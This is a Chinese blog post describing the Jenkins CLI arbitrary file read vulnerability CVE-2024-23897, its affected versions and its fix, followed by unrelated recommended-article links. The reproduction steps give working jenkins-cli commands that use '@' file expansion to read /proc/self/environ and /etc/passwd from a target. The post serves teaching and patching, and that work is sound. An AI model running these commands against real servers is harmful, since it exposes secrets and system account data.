Jenkins 任意文件读取(CVE-2024-23897)修复及复现

Jenkins任意文件读取漏洞CVE-2024-23897修复及复现

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。

漏洞详情

Jenkins 有一个内置的命令行界面(CLI),可从脚本或 shell 环境访问 Jenkins。处理 CLI 命令时, Jenkins 使用args4j库解析 Jenkins 控制器上的命令参数和选项。

近日,Jenkins 处理 CLI 命令的命令解析器中的 expandAtFile 功能存在任意文件读取漏洞,未经身份认证的远程攻击者利用该漏洞可以读取部分文件的有限行内容,攻击者经过身份验证或目标 Jenkins 更改了默认 "Security" 配置可以通过该漏洞读取任意文件,攻击者进一步利用该漏洞并结合其他功能可能导致任意代码执行。

影响范围

Jenkins 版本<= 2.441

Jenkins 版本<= LTS 2.426.2

漏洞复现

1、访问http://靶场IP:8080 显示Jenkins页面

2、下载官方提供的命令行客户端

bash 复制代码
wget http://IP:8080/jnlpJars/jenkins-cli.jar

3、使用该工具读取目标服务器的/proc/self/environ文件

bash 复制代码
java -jar jenkins-cli.jar -s http://IP:8080/ -http help 1 "@/proc/self/environ"

4、使用该工具读取目标服务器的/etc/passwd文件

bash 复制代码
java -jar jenkins-cli.jar -s http://IP:8080/ who-am-i @/etc/passwd

5、java不兼容

如出现下图情况为java版本不兼容,卸载本机旧java,然后安装新版兼容的java版本即可。

修复建议

升级至安全版本

参考链接:https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314

官网下载:https://www.jenkins.io/download/

相关推荐
王哥儿聊AI4 小时前
Lynx:新一代个性化视频生成模型,单图即可生成视频,重新定义身份一致性与视觉质量
人工智能·算法·安全·机器学习·音视频·软件工程
Coovally AI模型快速验证6 小时前
从避障到实时建图:机器学习如何让无人机更智能、更安全、更实用(附微型机载演示示例)
人工智能·深度学习·神经网络·学习·安全·机器学习·无人机
Gobysec6 小时前
Goby 漏洞安全通告|Spring Cloud Gateway 信息泄露漏洞(CVE-2025-41243)
spring boot·安全·cve-2025-41243
有点不太正常7 小时前
FlippedRAG——论文阅读
论文阅读·安全·大模型·rag
know__ledge7 小时前
Pytest+requests进行接口自动化测试6.0(Jenkins)
elasticsearch·jenkins·pytest
挨踢攻城9 小时前
Linux 安全 | 使用 iptables 测量流量
linux·服务器·安全·iptables·linux安全·厦门微思网络·测量流量
通信瓦工9 小时前
IEC 60598-1-2020灯具通用安全要求标准介绍
安全·灯具·标准下载
浅拾光º9 小时前
mysql字符串截取,如何在MySQL备份文件中安全截取敏感字符串?
数据库·mysql·安全
踏过山河,踏过海9 小时前
在SSL证书是有效的前提下,依旧显示“资源不安全
网络协议·安全·ssl
游戏开发爱好者811 小时前
App HTTPS 抓包实战,原理、常见问题与可行工具路线(开发 测试 安全 角度)
网络协议·安全·ios·小程序·https·uni-app·iphone